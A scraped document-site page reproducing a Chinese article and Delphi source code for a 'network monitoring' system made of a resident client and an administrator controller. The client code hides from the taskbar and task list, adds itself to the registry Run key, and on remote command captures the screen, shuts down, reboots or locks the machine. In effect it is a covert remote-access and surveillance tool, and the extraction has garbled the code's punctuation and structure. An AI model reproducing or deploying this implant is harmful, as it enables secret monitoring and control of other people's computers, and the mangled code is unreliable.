Delphi:網(wǎng)絡(luò)監(jiān)控_第1頁
Delphi:網(wǎng)絡(luò)監(jiān)控_第2頁
Delphi:網(wǎng)絡(luò)監(jiān)控_第3頁
Delphi:網(wǎng)絡(luò)監(jiān)控_第4頁
Delphi:網(wǎng)絡(luò)監(jiān)控_第5頁
已閱讀5頁,還剩22頁未讀 繼續(xù)免費(fèi)閱讀

下載本文檔

版權(quán)說明:本文檔由用戶提供并上傳,收益歸屬內(nèi)容提供方,若內(nèi)容存在侵權(quán),請進(jìn)行舉報或認(rèn)領(lǐng)

文檔簡介

1、delphi:網(wǎng)絡(luò)監(jiān)控客戶端:用的是nmudp控件unit unit1;interfaceuses windows, messages, sysutils, variants, classes, graphics, controls, forms, dialogs, nmudp,registry;type tclient = class(tform) cudp: tnmudp; procedure formcreate(sender: tobject); procedure formdestroy(sender: tobject); procedure cudpdatareceived(sen

2、der: tcomponent; numberbytes: integer; fromip: string; port: integer); private/ procedure add; private declarations public public declarations end;var client: tclient;implementation$r *.dfmconst bufsize=2048; 發(fā)送每一筆數(shù)據(jù)的緩沖區(qū)大小 var bmpstream:tmemorystream; leftsize:longint; 發(fā)送每一筆數(shù)據(jù)后剩余的字節(jié)數(shù) function regist

3、erserviceprocess (dwprocessid, dwtype: dword) : dword;stdcall; external kernel32.dll;procedure screencap(leftpos,toppos,rightpos,bottompos:integer); var rectwidth,rectheight:integer; sourcedc,destdc,bhandle:integer; bitmap:tbitmap; begin rectwidth:=rightpos-leftpos; rectheight:=bottompos-toppos; sou

4、rcedc:=createdc(display,nil); destdc:=createcompatibledc(sourcedc); bhandle:=createcompatiblebitmap(sourcedc, rectwidth,rectheight); selectobject(destdc,bhandle); bitblt(destdc,0,0,rectwidth,rectheight,sourcedc, leftpos,toppos,srccopy); bitmap:=tbitmap.create; bitmap.handle:=bhandle; bitmap.savetost

5、ream(bmpstream); bmpstream.position:=0; leftsize:=bmpstream.size; bitmap.free; deletedc(destdc); releasedc(bhandle,sourcedc); end; procedure add;/寫入注冊表自動運(yùn)行var reg:tregistry;begin reg:=tregistry.create; try reg.rootkey:=hkey_current_user; if reg.openkey(softwaremicrosoftwindowscurrentversionrun,true)

6、 then reg.writestring(myapp,” + paramstr(0) + ”); finally reg.closekey; reg.free;end;end;procedure tclient.formcreate(sender: tobject);beginbmpstream:=tmemorystream.create;registerserviceprocess(getcurrentprocessid,1);/在任務(wù)欄隱藏add;end;procedure tclient.formdestroy(sender: tobject);beginbmpstream.free;

7、 end;procedure tclient.cudpdatareceived(sender: tcomponent; numberbytes: integer; fromip: string; port: integer);var ctrlcode:array0.29 of char; buf:array0.bufsize-1 of char; tmpstr:string; sendsize,leftpos,toppos,rightpos,bottompos:integer; begin cudp.readbuffer(ctrlcode,numberbytes); 讀取控制碼 if ctrl

8、code0+ctrlcode1+ctrlcode2+ctrlcode3=shut then exitwindowsex(ewx_shutdown,0); if ctrlcode0+ctrlcode1+ctrlcode2+ctrlcode3=rset then exitwindowsex(ewx_reboot,0); if ctrlcode0+ctrlcode1+ctrlcode2+ctrlcode3=lack then enablewindow(getdesktopwindow,false); if ctrlcode0+ctrlcode1+ctrlcode2+ctrlcode3=unlo th

9、en enablewindow(getdesktopwindow,true); if ctrlcode0+ctrlcode1+ctrlcode2+ctrlcode3=show then begin 控制碼前4位為”show”表示主控機(jī)發(fā)出了抓屏指令 if bmpstream.size=0 then 沒有數(shù)據(jù)可發(fā),必須截屏生成數(shù)據(jù) begin tmpstr:=strpas(ctrlcode); tmpstr:=copy(tmpstr,5,length(tmpstr)-4); leftpos:=strtoint(copy(tmpstr,1,pos(:,tmpstr)-1); tmpstr:=cop

10、y(tmpstr,pos(:,tmpstr)+1,length(tmpstr) -pos(:,tmpstr); toppos:=strtoint(copy(tmpstr,1,pos(:,tmpstr)-1); tmpstr:=copy(tmpstr,pos(:,tmpstr)+1,length(tmpstr)- pos(:,tmpstr); rightpos:=strtoint(copy(tmpstr,1,pos(:,tmpstr)-1); bottompos:=strtoint(copy(tmpstr,pos(:,tmpstr )+1,length(tmpstr)-pos(:,tmpstr)

11、; screencap(leftpos,toppos,rightpos,bottompos); 截取屏幕 end; if leftsizebufsize then sendsize:=bufsize else sendsize:=leftsize; bmpstream.readbuffer(buf,sendsize); leftsize:=leftsize-sendsize; if leftsize=0 then bmpstream.clear; 清空流 cudp.remotehost:=fromip; fromip為主控機(jī)ip地址 cudp.sendbuffer(buf,sendsize);

12、 將數(shù)據(jù)發(fā)到主控機(jī)的2222口 end; end;end.服務(wù)器端unit unit1;interfaceuses windows, messages, sysutils, variants, classes, graphics, controls, forms, dialogs, stdctrls, extctrls,shellapi, nmudp; const wmicb=wmuser+1000;type tserver = class(tform) sudp: tnmudp; panel1: tpanel; image1: timage; scrollbar1: tscrollbar;

13、scrollbar2: tscrollbar; panel2: tpanel; button1: tbutton; button2: tbutton; checkbox1: tcheckbox; checkbox2: tcheckbox; checkbox3: tcheckbox; checkbox4: tcheckbox; checkbox5: tcheckbox; edit1: tedit; edit2: tedit; label1: tlabel; label2: tlabel; panel3: tpanel; procedure formcreate(sender: tobject);

14、 procedure button1click(sender: tobject); procedure sudpdatareceived(sender: tcomponent; numberbytes: integer; fromip: string; port: integer); procedure button2click(sender: tobject); procedure formdestroy(sender: tobject); procedure scrollbar1change(sender: tobject); procedure scrollbar2change(send

15、er: tobject); procedure scrollbar1scroll(sender: tobject; scrollcode: tscrollcode; var scrollpos: integer); procedure checkbox1click(sender: tobject); procedure checkbox2click(sender: tobject); procedure checkbox4click(sender: tobject); procedure checkbox3click(sender: tobject); procedure checkbox5c

16、lick(sender: tobject); private units: tpoint; myicon:tnotifyicondata; procedure wmicb(var msg:tmessage);message wm_icb; procedure scrollreset; private declarations public public declarations end;var server: tserver;implementation$r *.dfmconst bufsize=2048; def_scroll_units=8; var rsltstream,tmpstrea

17、m:tmemorystream; procedure display;beginserver.visible:=not server.visible;application.showmainform:=server.visible;setforegroundwindow(application.handle);end; procedure tserver.formcreate(sender: tobject);beginrsltstream:=tmemorystream.create;tmpstream:=tmemorystream.create;myicon.cbsize:=sizeof(t

18、notifyicondata);myicon.wnd:=handle;myicon.uid:=1;myicon.uflags:=nif_message or nif_tip or nif_icon;myicon.ucallbackmessage:=wm_icb;myicon.hicon:=application.icon.handle;myicon.sztip:=黃金眼 v1.0;shell_notifyicon(nim_add,myicon);setwindowlong(application.handle,gwl_exstyle,ws_ex_toolwindow );end;procedu

19、re tserver.button1click(sender: tobject);var reqcode:array0.29 of char;reqcodestr:string; beginif checkbox1.checked then begin reqcodestr:=show+edit1.text; strpcopy(reqcode,reqcodestr); tmpstream.clear; rsltstream.clear; sudp.remotehost:=edit2.text; sudp.sendbuffer(reqcode,30); endelse if checkbox2.

20、checked then begin reqcodestr:=shut; strpcopy(reqcode,reqcodestr); tmpstream.clear; rsltstream.clear; sudp.remotehost:=edit2.text; sudp.sendbuffer(reqcode,30); endelse if checkbox3.checked then begin reqcodestr:=rset; strpcopy(reqcode,reqcodestr); tmpstream.clear; rsltstream.clear; sudp.remotehost:=

21、edit2.text; sudp.sendbuffer(reqcode,30); endelse if checkbox4.checked then begin reqcodestr:=lack; strpcopy(reqcode,reqcodestr); tmpstream.clear; rsltstream.clear; sudp.remotehost:=edit2.text; sudp.sendbuffer(reqcode,30); endelse if checkbox5.checked then begin reqcodestr:=unlo ; strpcopy(reqcode,re

22、qcodestr); tmpstream.clear; rsltstream.clear; sudp.remotehost:=edit2.text; sudp.sendbuffer(reqcode,30); endend;procedure tserver.sudpdatareceived(sender: tcomponent; numberbytes: integer; fromip: string; port: integer);var reqcode:array0.29 of char;reqcodestr:string; begin reqcodestr:=show+edit1.tex

23、t; strpcopy(reqcode,reqcodestr); sudp.readstream(tmpstream); rsltstream.copyfrom(tmpstream,numberbytes); if numberbytes bufsize then 數(shù)據(jù)已讀完 begin rsltstream.position:=0; scrollreset; image1.picture.bitmap.loadfromstream(rsltstream); tmpstream.clear; rsltstream.clear; end else begin tmpstream.clear; r

24、eqcode:=show; sudp.remotehost:=edit2.text; sudp.sendbuffer(reqcode,30); end; end;procedure tserver.button2click(sender: tobject);beginclose();end;procedure tserver.wmicb(var msg:tmessage);var tcwz:tpoint;begincase msg.lparam ofwm_lbuttonup:display;wm_rbuttonup:begingetcursorpos(tcwz);end;end;end;pro

25、cedure tserver.formdestroy(sender: tobject);beginshell_notifyicon(nim_delete,myicon);end;procedure tserver.scrollbar1change(sender: tobject);beginimage1.left := -units.y * scrollbar1.position;end;procedure tserver.scrollbar2change(sender: tobject);beginimage1.top := -units.y* scrollbar2.positionend;

26、procedure tserver.scrollreset;beginunits.x := def_scroll_units;units.y := def_scroll_units;if image1.picture nil thenbeginimage1.top := 0;image1.left := 0;scrollbar2.position := 0;scrollbar1.position := 0;scrollbar2.min := 0;scrollbar1.min := 0;scrollbar2.visible := true;scrollbar1.visible := true;e

27、nd;end;procedure tserver.scrollbar1scroll(sender: tobject; scrollcode: tscrollcode; var scrollpos: integer);beginimage1.left :=-units.x*scrollposend;procedure tserver.checkbox1click(sender: tobject);beginpanel3.caption :=截取客戶機(jī)屏幕;end;procedure tserver.checkbox2click(sender: tobject);beginpanel3.capti

28、on :=遠(yuǎn)程關(guān)閉客戶機(jī);end;procedure tserver.checkbox4click(sender: tobject);beginpanel3.caption := 遠(yuǎn)程鎖定客戶機(jī);end;procedure tserver.checkbox3click(sender: tobject);beginpanel3.caption :=遠(yuǎn)程重起客戶機(jī);end;procedure tserver.checkbox5click(sender: tobject);beginpanel3.caption :=遠(yuǎn)程解鎖客戶機(jī);end;end.出處:程序員之家/張賓日期:2005-02-03資源

29、名稱利用delphi實(shí)現(xiàn)網(wǎng)絡(luò)監(jiān)控系統(tǒng)作者:網(wǎng)絡(luò)愛好者適用語言:java .net c+ builder 文件大小14708運(yùn)行平臺:windows 2000 windows xp windows 9*/me 上傳者:丁鵬上傳日期:2004-04-14 19:21:39 點(diǎn)擊:2807簡介利用delphi實(shí)現(xiàn)網(wǎng)絡(luò)監(jiān)控系統(tǒng)摘要 本文詳細(xì)闡述了如何用delphi開發(fā)網(wǎng)絡(luò)實(shí)時監(jiān)控系統(tǒng),該系統(tǒng)可使網(wǎng)絡(luò)管理員隨時監(jiān)控到網(wǎng)絡(luò)中任何一臺計算機(jī)的操作狀態(tài),若該機(jī)有違規(guī)行為,可通過本系統(tǒng)采取措施禁止其操作,還實(shí)現(xiàn)了程序的隱藏、托盤圖標(biāo)、加入注冊表自動啟動項(xiàng)等技術(shù)。關(guān)鍵詞 網(wǎng)絡(luò) winsocket tcp/ip 控

30、件一、問題提出現(xiàn)在擁有校園網(wǎng)和網(wǎng)絡(luò)教室的學(xué)校越來越多,網(wǎng)絡(luò)管理和控制成了問題,當(dāng)然有許多軟件可以實(shí)現(xiàn),但那是要錢的,并且不便宜,至少是買一臺電腦的錢,而且許多功能教育界用不到。有意思的是:許多黑客軟件可以完成網(wǎng)絡(luò)監(jiān)控任務(wù),如:冰河,并且不要錢,但不幸的是:用了黑客程序你不就不能上因特網(wǎng)了。所以,自己動手設(shè)計網(wǎng)絡(luò)監(jiān)控系統(tǒng)是一個不錯的選擇,因?yàn)楝F(xiàn)在有了許多功能強(qiáng)大的可視化開發(fā)工具。我用delphi完成了一個監(jiān)控系統(tǒng)(大眼睛),經(jīng)過實(shí)驗(yàn),效果不錯,并且完成了托盤圖標(biāo)、駐留端程序隱藏、修改注冊表使程序自動啟動等技術(shù)。系統(tǒng)的兩個可執(zhí)行文件經(jīng)過pecompact處理,只有150k大小,也無需什么動態(tài)連接庫

31、。下圖是軟件運(yùn)行效果圖,下面就把設(shè)計思路介紹給您。二、實(shí)現(xiàn)的原理winsock是一組api,用于在internet上傳輸數(shù)據(jù)和交換信息。用它編程本來是很麻煩的,但在delphhi中并不需要直接與winsock的api打交道,因?yàn)閠clientsocket和tserversocket元件封裝了它的大部分api,使得對winsock的訪問大大簡化。socket是網(wǎng)絡(luò)通信的基本構(gòu)件,是可以被命名和尋址的通信端點(diǎn),使用中的第一個socket都有其類型和一個與之相連的進(jìn)程。socket存在于通信區(qū)域中,通信區(qū)域也叫地址族,是一個抽象概念,主要用于將通過socket通信線程的共有特性綜合在一起。socke

32、t通常只與同一區(qū)域中的socket交換數(shù)據(jù),也有可能跨區(qū)域通信,但這只是在執(zhí)行了某種轉(zhuǎn)換進(jìn)程后才能實(shí)現(xiàn)。要通過網(wǎng)絡(luò)傳輸數(shù)據(jù),至少需要一對socket。其中,一個socket在客戶端,另一個socket在服務(wù)器端。一旦客戶端和服務(wù)器端都接通了socket,它們之間就可以相互通信,其連接是建立在tcp/ip協(xié)議基礎(chǔ)上的,同時也支持其他相關(guān)協(xié)議,如xns、decnet及ipx/spx等。本系統(tǒng)就是基于上述原理的,它由兩部分組成:駐留端和控制端。駐留端放在需要監(jiān)控的機(jī)器上,windows啟動時自動運(yùn)行,并且要很好的隱藏起來:不出現(xiàn)的任務(wù)欄上,當(dāng)用戶按下ctrl+alt+del時,也不能從任務(wù)列表中發(fā)現(xiàn)

33、。控制端放在管理員的機(jī)器上,管理員通過指令可以觀察或控制被監(jiān)控的機(jī)器。指令有五個:截取屏幕:可以觀察到被控機(jī)的當(dāng)前屏幕,看操作員在干什么。遠(yuǎn)程關(guān)機(jī):可以關(guān)閉被控的計算機(jī)。遠(yuǎn)程重啟:可以重新啟動被控的計算機(jī)。鎖定機(jī)器:封鎖被控機(jī)的操作,鍵盤、鼠標(biāo)操作都無效。機(jī)器解鎖:解除對被控機(jī)的封鎖。三、代碼編寫1、 控制端主窗體設(shè)計如效果圖,各控件名稱如下表:名稱 控件類型 標(biāo)題 用途hscrollb tscrollbar; 滾動圖像vscrollb tscrollbar 滾動圖像label1 tlabel 顯示文字ipbox tcombobox 顯示ip地址列表radiogroup1 tradiogrou

34、p 美化界面cuts tradiobutton 截屏選擇cloma tradiobutton 關(guān)機(jī)選擇restart tradiobutton 啟動選擇lock tradiobutton 鎖定選擇unlock tradiobutton 解鎖選擇button1 tbutton 添加ip地址button2 tbutton 執(zhí)行指令button3 tbutton 關(guān)閉界面button4 tbutton 連接監(jiān)控端impanel tpanel 美化界面image timage 顯示圖像panel1 tpanel 顯示狀態(tài)kz tclientsocket 建立連接tccd tpopupmenu 彈出菜單

35、控制端代碼不太復(fù)雜,主要在為了顯示從被監(jiān)控機(jī)器傳過來的數(shù)據(jù)時有點(diǎn)復(fù)雜,下面單獨(dú)說明一下:procedure tform1.kzread(sender: tobject; socket: tcustomwinsocket);var buf:array0.buffer-1 of char;/定義一個緩沖區(qū),大小為2048字節(jié)temp:integer;begintemp:=socket.receivelength;/得到傳來數(shù)據(jù)的長度panel1.caption:=正在接收來自+ipbox.text+的圖像數(shù)據(jù),稍侯;bmpmap.writebuffer(buf,socket.receivebuf(

36、buf,temp);把緩沖區(qū)的數(shù)據(jù)寫入流if tempbuffer then/如果數(shù)據(jù)長度小于緩沖區(qū),說明數(shù)據(jù)已傳完,顯示圖像beginbmpmap.position:=0;scrollreset;image.picture.bitmap.loadfromstream(bmpmap);bmpmap.clear;panel1.caption:=圖像已經(jīng)成功的接收!;endelse socket.sendtext(cut);/否則繼續(xù)要求傳輸end;在顯示圖像時,是通過滾動條和圖像控件組合使用的,請注意代碼當(dāng)然,為了讓軟件更專業(yè),要有托盤圖標(biāo),這使代碼復(fù)雜一些,這些功能在本系統(tǒng)中都實(shí)現(xiàn)了,請留意源

37、代碼。下面給出該系統(tǒng)的源代碼:(代碼容易看明白,不詳細(xì)解釋了)unit unit1;interfaceuseswindows, messages, sysutils, classes, graphics, controls, forms,stdctrls, extctrls, comctrls, scktcomp,shellapi, menus;const wm_icb=wm_user+1000;typetform1 = class(tform)hscrollb: tscrollbar;vscrollb: tscrollbar;label1: tlabel;ipbox: tcombobox;r

38、adiogroup1: tradiogroup;cuts: tradiobutton;cloma: tradiobutton;restart: tradiobutton;lock: tradiobutton;unlock: tradiobutton;button1: tbutton;button2: tbutton;button3: tbutton;impanel: tpanel;image: timage;panel1: tpanel;kz: tclientsocket;button4: tbutton;tccd: tpopupmenu;n1: tmenuitem;n2: tmenuitem

39、;n3: tmenuitem;n4: tmenuitem;n5: tmenuitem;procedure button2click(sender: tobject);procedure button3click(sender: tobject);procedure vscrollbchange(sender: tobject);procedure hscrollbscroll(sender: tobject; scrollcode: tscrollcode;var scrollpos: integer);procedure button1click(sender: tobject);proce

40、dure formcreate(sender: tobject);procedure formdestroy(sender: tobject);procedure button4click(sender: tobject);procedure kzread(sender: tobject; socket: tcustomwinsocket);procedure kzdisconnect(sender: tobject; socket: tcustomwinsocket);procedure kzconnect(sender: tobject; socket: tcustomwinsocket)

41、;procedure cutsclick(sender: tobject);procedure clomaclick(sender: tobject);procedure restartclick(sender: tobject);procedure lockclick(sender: tobject);procedure unlockclick(sender: tobject);procedure kzconnecting(sender: tobject; socket: tcustomwinsocket);procedure kzerror(sender: tobject; socket:

42、 tcustomwinsocket;errorevent: terrorevent; var errorcode: integer);procedure ipboxchange(sender: tobject);procedure n3click(sender: tobject);procedure n2click(sender: tobject);procedure n1click(sender: tobject);privateunits: tpoint;myicon:tnotifyicondata;procedure wmicb(var msg:tmessage);message wm_

43、icb;procedure scrollreset; private declarations public public declarations end;varform1: tform1;implementationuses unit2, unit3;$r *.dfmconstdef_scroll_units = 8;buffer=2048;var bmpmap:tmemorystream;procedure display;beginif form1.visible=true thenform1.n1.caption:=顯示(&d)elseform1.n1.caption:=隱藏(&h)

44、;form1.visible:=not form1.visible;application.showmainform:=form1.visible;setforegroundwindow(application.handle);end;procedure tform1.button2click(sender: tobject);begindisplay;end;procedure tform1.button3click(sender: tobject);beginif not assigned(form2) then form2:=tform2.create(application);form

45、2.show;end;procedure tform1.vscrollbchange(sender: tobject);beginimage.top := -units.y * vscrollb.position;end;procedure tform1.hscrollbscroll(sender: tobject; scrollcode: tscrollcode;var scrollpos: integer);beginimage.left := -units.x * scrollposend;procedure tform1.scrollreset;beginunits.x := def_

46、scroll_units;units.y := def_scroll_units;if image.picture nil thenbeginimage.top := 0;image.left := 0;hscrollb.position := 0;vscrollb.position := 0;hscrollb.min := 0;vscrollb.min := 0;hscrollb.visible := true;vscrollb.visible := true;end;end;procedure tform1.button1click(sender: tobject);beginif cut

47、s.checked thenbeginpanel1.caption:=截取+ipbox.text+計算機(jī)的屏幕!;bmpmap.clear;kz.socket.sendtext(cut);endelse if cloma.checked thenbeginpanel1.caption:=關(guān)閉+ipbox.text+的計算機(jī)!;kz.socket.sendtext(ygj);kz.active:=false;endelse if restart.checked thenbeginpanel1.caption:=重新啟動+ipbox.text+的計算機(jī)!;kz.socket.sendtext(yq

48、d);kz.active:=false;endelse if lock.checked thenbeginpanel1.caption:=鎖定+ipbox.text+的計算機(jī)!;kz.socket.sendtext(sdj);endelse if unlock.checked thenbeginpanel1.caption:=解鎖+ipbox.text+的計算機(jī)!;kz.socket.sendtext(jsj);endend;procedure tform1.formcreate(sender: tobject);beginmyicon.cbsize:=sizeof(tnotifyiconda

49、ta);myicon.wnd:=handle;myicon.uid:=1;myicon.uflags:=nif_message or nif_tip or nif_icon;myicon.ucallbackmessage:=wm_icb;myicon.hicon:=application.icon.handle;myicon.sztip:=大眼睛 v1.0;shell_notifyicon(nim_add,myicon);setwindowlong(application.handle,gwl_exstyle,ws_ex_toolwindow);bmpmap:=tmemorystream.cr

50、eate;ipbox.items.loadfromfile(pzwj.ini);end;procedure tform1.formdestroy(sender: tobject);beginbmpmap.free;shell_notifyicon(nim_delete,myicon);end;procedure tform1.button4click(sender: tobject);beginif ipbox.text= then exit;if button4.caption=連接(&c) thenbeginkz.address:=ipbox.text;kz.active:=true;bu

51、tton1.enabled:=true;endelsebeginkz.active:=false;button1.enabled:=false;end;end;procedure tform1.kzread(sender: tobject; socket: tcustomwinsocket);var buf:array0.buffer-1 of char;temp:integer;begintemp:=socket.receivelength;panel1.caption:=正在接收來自+ipbox.text+的圖像數(shù)據(jù),稍侯;bmpmap.writebuffer(buf,socket.rec

52、eivebuf(buf,temp);if tempbuffer thenbeginbmpmap.position:=0;scrollreset;image.picture.bitmap.loadfromstream(bmpmap);bmpmap.clear;panel1.caption:=圖像已經(jīng)成功的接收!;endelse socket.sendtext(cut);end;procedure tform1.kzdisconnect(sender: tobject; socket: tcustomwinsocket);beginbutton4.caption:=連接(&c);panel1.ca

53、ption:=已經(jīng)和+ipbox.text+斷開連接;end;procedure tform1.kzconnect(sender: tobject; socket: tcustomwinsocket);beginbutton4.caption:=斷開(&d);panel1.caption:=已經(jīng)成功的連接到+ipbox.text;end;procedure tform1.cutsclick(sender: tobject);beginpanel1.caption:=截取遠(yuǎn)程計算機(jī)的屏幕;end;procedure tform1.clomaclick(sender: tobject);beginpanel1.captio

溫馨提示

  • 1. 本站所有資源如無特殊說明,都需要本地電腦安裝OFFICE2007和PDF閱讀器。圖紙軟件為CAD,CAXA,PROE,UG,SolidWorks等.壓縮文件請下載最新的WinRAR軟件解壓。
  • 2. 本站的文檔不包含任何第三方提供的附件圖紙等,如果需要附件,請聯(lián)系上傳者。文件的所有權(quán)益歸上傳用戶所有。
  • 3. 本站RAR壓縮包中若帶圖紙,網(wǎng)頁內(nèi)容里面會有圖紙預(yù)覽,若沒有圖紙預(yù)覽就沒有圖紙。
  • 4. 未經(jīng)權(quán)益所有人同意不得將文件中的內(nèi)容挪作商業(yè)或盈利用途。
  • 5. 人人文庫網(wǎng)僅提供信息存儲空間,僅對用戶上傳內(nèi)容的表現(xiàn)方式做保護(hù)處理,對用戶上傳分享的文檔內(nèi)容本身不做任何修改或編輯,并不能對任何下載內(nèi)容負(fù)責(zé)。
  • 6. 下載文件中如有侵權(quán)或不適當(dāng)內(nèi)容,請與我們聯(lián)系,我們立即糾正。
  • 7. 本站不保證下載資源的準(zhǔn)確性、安全性和完整性, 同時也不承擔(dān)用戶因使用這些下載資源對自己和他人造成任何形式的傷害或損失。

評論

0/150

提交評論